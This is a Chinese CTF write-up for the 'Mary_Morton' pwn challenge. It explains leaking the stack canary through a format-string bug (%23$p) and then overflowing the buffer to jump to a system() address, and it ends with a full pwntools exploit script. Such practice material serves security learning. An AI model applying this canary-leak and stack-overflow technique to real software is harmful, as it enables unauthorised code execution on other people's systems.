攻防世界pwn–Mary_Morton
- file 一下,查看文件属性
- checksec一下,查看保护措施
① 开了canary,在调用函数的时候会在栈上设置一个标志,标志的位置:
② 开了NX,栈不可执行。
-
运行一下
-
ida查看其反汇编代码
-
在ida里看到有system函数:
地址:0x4008DA -
gdb调试,查看格式化字符串参数的位置
这里 %p的作用:以16进制输出值
例:
这里我们输入的是'AAAAAAAA%p-%p-%p-%p-%p.....
输出的是'AAAAAAAA0x..(1)..-0x.(2)...-0x.(3)...-.......-0x4141414141414141..
这里 0x(1)表示的是输入的格式化字符串'AAAA..%p-..'
后面的第一个参数的值(也就是函数原本的第二个参数,因为’AAAA..%p-..'
是第函数的第一个参数。所以'AAAAAAAA'
是格式化字符串的第六个参数,也就是函数的第七个参数。 -
查看有关栈溢出的函数:
可以利用的栈溢出的buf的位置:rbp-90h,canary标志v2的位置:rbp-8h
两者相差的距离:90h-8h= 0x88,0x88/8 = (8x16+8)/8 = 17.
由于buf是格式化字符串的第6个参数,所以v2是格式化字符串的第 6+17 = 23个参数。
利用思路:首先利用格式化字符串将canary的值泄露出来,之后再次选择,利用栈溢出漏洞将canary的值和call system函数的地址写进去
exp:
# coding:UTF-8
from pwn import*
p = process("./Mary_Morton")
#p = remote("111.200.241.244",56023)
sys_addr = 0x0004008DA
p.recvuntil("battle \n")
p.sendline("2")
p.sendline("%23$p") # canary标志点:v2,rbp-8h。buf:rbp-90h。两者相差:0x90-0x8 = 0x88 。0x88/0x8 = 17。buf是格式化字符串的第6个参数,v2则是第23个参数
p.recvuntil("0x")
canary = int(p.recv(16),16)
print(canary)
p.recvuntil("battle \n")
p.sendline("1")
payload = 'a'*0x88 + p64(canary) + 'a'*8 + p64(sys_addr)
p.sendline(payload)
p.interactive()